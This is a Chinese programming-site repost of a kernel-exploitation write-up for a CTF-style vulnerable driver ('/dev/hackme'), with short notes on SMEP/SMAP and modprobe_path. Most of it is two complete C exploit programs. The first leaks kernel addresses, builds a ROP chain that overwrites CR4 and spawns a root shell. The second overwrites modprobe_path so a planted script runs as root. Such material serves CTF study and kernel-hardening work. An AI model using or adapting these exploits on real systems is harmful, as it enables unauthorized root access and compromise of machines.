服务器之家:专注于VPS、云服务器配置技术及软件下载分享
分类导航

PHP教程|ASP.NET教程|Java教程|ASP教程|编程技术|正则表达式|C/C++|IOS|C#|Swift|Android|VB|R语言|JavaScript|易语言|vb.net|

服务器之家 - 编程语言 - C/C++ - kernel劫持modprobe path内容详解

kernel劫持modprobe path内容详解

2022-12-02 15:45狒猩橙 C/C++

这篇文章主要为大家介绍了kernel劫持modprobe path的内容详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪

exp1

smep:smep即用户数据不可执行,当 CPU 处于 ring0 模式时,执行用户空间的代码会触发页错误,系统根据CR4寄存器的第20位判断内核是否开启smep,为1时开启,为0时关闭(第21位是SMAP位)。

smap:smap用户数据不可访问。

通过控制cr4寄存器为0x6f0即可绕过。

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
size_t vmlinux_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0};
int fd;
struct Heap{
    size_t index;
    char *data;
    size_t len;
    size_t offset;
};
void add(int index, size_t len, char *data)
{
    struct Heap heap;
    heap.index = index;
    heap.data = data;
    heap.len = len;
    ioctl(fd, 0x30000, &heap);
}
void delete(int index)
{
    struct Heap heap;
    heap.index = index;
    ioctl(fd, 0x30001, &heap);
}
void edit(int index, size_t len, size_t offset, char *data)
{
    struct Heap heap;
    heap.index = index;
    heap.data = data;
    heap.len = len;
    heap.offset = offset;
    ioctl(fd, 0x30002, &heap);
}
void show(int index, size_t len, size_t offset, char *data)
{
    struct Heap heap;
    heap.index = index;
    heap.data = data;
    heap.len = len;
    heap.offset = offset;
    ioctl(fd, 0x30003, &heap);
}
void save_status()
{
    __asm__(
    "mov user_cs, cs;"
    "mov user_ss, ss;"
    "mov user_sp, rsp;"
    "pushf;"
    "pop user_rflags;"
    );
    puts("[+] save the state success!");
}
void get_shell()
{
    if (getuid() == 0)
    {
        puts("[*] get root");
        system("/bin/sh");
    }
    else
    {
        puts("[-] get root error");
        sleep(3);
        exit(0);
    }
}
void get_root()
{
    //commit_creds(prepare_kernel_cred(0))
    void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
    void (*cc)(void *) = (void (*)(void *))commit_creds;
    (*cc)((*pkc)(0));
}
int main()
{
    save_status();
    char buf[0x1000] = {0};
    size_t fake_tty_struct[4] = {0};
    size_t fake_tty_operations[35] = {0};
    fd = open("/dev/hackme",0);
    if(fd < 0)
    {
        puts("[-] open file error");
        sleep(3);
        exit(0);
    }
    add(0, 0x2e0, buf); // 0
    add(1, 0x2e0, buf); // 1
    add(2, 0x100, buf); // 2
    add(3, 0x100, buf); // 3
    delete(0);
    delete(2);
    show(3, 0x100, -0x100, buf);
    size_t heap_addr = ((size_t *)buf)[0] - 0x200;
    printf("[+] heap_addr=> 0x%lx\n", heap_addr);
    int fd_tty = open("/dev/ptmx",O_RDWR | O_NOCTTY);
    if(fd_tty < 0)
    {
        puts("[-] open ptmx error");
        sleep(3);
        exit(0);
    }
    show(1, 0x400, -0x400, buf);
    vmlinux_base = ((size_t *)buf)[3] - 0x625d80;
    printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
    off = vmlinux_base - raw_vmlinux_base;
    commit_creds = off + 0xffffffff8104d220;
    prepare_kernel_cred = off + 0xffffffff8104d3d0;
    int i = 0;
    rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;
    rop[i++] = 0x6f0;
    rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;
    rop[i++] = 0;
    rop[i++] = (size_t)get_root;
    rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret;
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;
    rop[i++] = (size_t)get_shell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
    add(2, 0x100, (char *)rop);
    fake_tty_operations[7] = off + 0xffffffff810608d5; // push rax; pop rsp; ret;
    fake_tty_operations[0] = off + 0xffffffff810484f0; // pop rsp; ret;
    fake_tty_operations[1] = heap_addr;
    ((size_t *)buf)[3] = heap_addr + 0x100;
    delete(3);
    add(3, 0x100, (char *)fake_tty_operations);
    edit(1, 0x400, -0x400, buf);
    write(fd_tty, "FXC", 3);
    return 0;
}

exp2

mod_tree:可以泄露驱动地址,当堆栈中找不到时可以来这里查找。

modprobe_path:当我们执行一个非法文件时,就会以root权限去执行modprobe_path所指向的文件,通常是指向/sbin/modprobe,如果改成我们创建的cat flag的文件,那么就可以拿到flag

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
struct Heap{
    size_t index;
    char *data;
    size_t len;
    size_t offset;
};
void add(int index, size_t len, char *data)
{
    struct Heap heap;
    heap.index = index;
    heap.data = data;
    heap.len = len;
    ioctl(fd, 0x30000, &heap);
}
void delete(int index)
{
    struct Heap heap;
    heap.index = index;
    ioctl(fd, 0x30001, &heap);
}
void edit(int index, size_t len, size_t offset, char *data)
{
    struct Heap heap;
    heap.index = index;
    heap.data = data;
    heap.len = len;
    heap.offset = offset;
    ioctl(fd, 0x30002, &heap);
}
void show(int index, size_t len, size_t offset, char *data)
{
    struct Heap heap;
    heap.index = index;
    heap.data = data;
    heap.len = len;
    heap.offset = offset;
    ioctl(fd, 0x30003, &heap);
}
void get_flag()
{
    puts("[+] Prepare shell file.");
    system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /shell.sh");
    system("chmod +x /shell.sh");
    puts("[+] Prepare trigger file.");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /FXC");
    system("chmod +x /FXC");
    system("cat /proc/sys/kernel/modprobe");
    system("/FXC");
    system("cat /flag");
    sleep(5);
}
int main()
{
    fd = open("/dev/hackme",0);
    if(fd < 0)
    {
        puts("[-] open file error");
        sleep(3);
        exit(0);
    }
    char buf[0x1000] = {0};
    add(0, 0x100, buf); // 0
    add(1, 0x100, buf); // 1
    add(2, 0x100, buf); // 2
    add(3, 0x100, buf); // 3
    add(4, 0x100, buf); // 4
    delete(1);
    delete(3);
    show(4, 0x100, -0x100, buf);
    heap_base = ((size_t *)buf)[0] - 0x100;
    printf("[+] heap_addr=> 0x%lx\n", heap_base);
    show(0, 0x200, -0x200, buf);
    vmlinux_base = ((size_t *)buf)[0] - 0x8472c0;
    printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
    mod_tree = vmlinux_base + 0x811000;
    modprobe_path = vmlinux_base + 0x83f960;
    memset(buf,'\x00',0x100);
    ((size_t  *)buf)[0] = mod_tree + 0x40;
    edit(4, 0x100, -0x100, buf);
    add(5, 0x100, buf); // 5
    add(6, 0x100, buf); // 6
    show(6, 0x40, -0x40, buf);
    ko_base = ((size_t *)buf)[3];
    printf("[+] ko_base=> 0x%lx\n", ko_base);
    delete(2);
    delete(5);
    getchar();
    ((size_t  *)buf)[0] = ko_base + 0x2400 + 0xc0;
    edit(4, 0x100, -0x100, buf);
    add(7, 0x100, buf); // 7
    add(8, 0x100, buf); // 8
    ((size_t  *)buf)[0] = modprobe_path;
    ((size_t  *)buf)[1] = 0x100;
    edit(8, 0x10, 0, buf);
    strncpy(buf, "/shell.sh\x00", 0xa);
    edit(12, 0xa, 0, buf);
    get_flag();
    return 0;
}

以上就是kernel劫持modprobe path内容详解的详细内容,更多关于kernel劫持modprobe path的资料请关注服务器之家其它相关文章!

原文链接:https://www.cnblogs.com/pwnfeifei/p/16230549.html

延伸 · 阅读

精彩推荐
  • C/C++C++中inline用法案例详解

    C++中inline用法案例详解

    这篇文章主要介绍了C++中inline用法案例详解,本篇文章通过简要的案例,讲解了该项技术的了解与使用,以下就是详细内容,需要的朋友可以参考下...

    路痴的旅行4482021-12-27
  • C/C++C++设计模式之抽象工厂模式

    C++设计模式之抽象工厂模式

    这篇文章主要介绍了C++设计模式之抽象工厂模式,本文要讲的抽象工厂模式,就是工厂方法模式的扩展和延伸,需要的朋友可以参考下...

    果冻想7092021-02-03
  • C/C++C语言中的内存泄露 怎样避免与检测

    C语言中的内存泄露 怎样避免与检测

    堆经常会出现两种类型的问题:1.释放或改写仍在使用的内存(称为:“内存损坏”)。2.未释放不再使用的内存(称为:“内存泄露”)。这是最难被调试发现...

    C语言教程网6182020-12-25
  • C/C++原创的C语言控制台小游戏

    原创的C语言控制台小游戏

    本文给大家分享的是个人原创设计的一个C语言控制台小游戏,非常的简单,但是挺好玩的,推荐给大家,有需要的小伙伴也可以自由扩展下。...

    OliverChu8732021-02-23
  • C/C++C++实现LeetCode(188.买卖股票的最佳时间之四)

    C++实现LeetCode(188.买卖股票的最佳时间之四)

    这篇文章主要介绍了C++实现LeetCode(188.买卖股票的最佳时间之四),本篇文章通过简要的案例,讲解了该项技术的了解与使用,以下就是详细内容,需要的朋友可以...

    Grandyang11462021-12-10
  • C/C++从头学习C语言之for语句和循环嵌套

    从头学习C语言之for语句和循环嵌套

    这篇文章主要为大家详细介绍了C语言之for语句和循环嵌套,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下,希望能...

    极致猎手8192022-09-07
  • C/C++C++程序代码优化的方法实例大全

    C++程序代码优化的方法实例大全

    优化是一个非常大的主题,本文并不是去深入探讨性能分析理论,算法的效率,这篇文章主要给大家介绍了关于C++代码优化的相关资料,需要的朋友可以参考下...

    Mini_Coconut11672022-10-14
  • C/C++C/C++ break和continue区别及使用方法

    C/C++ break和continue区别及使用方法

    这篇文章主要介绍了C/C++ break和continue区别及使用方法的相关资料,需要的朋友可以参考下...

    140827147062021-05-21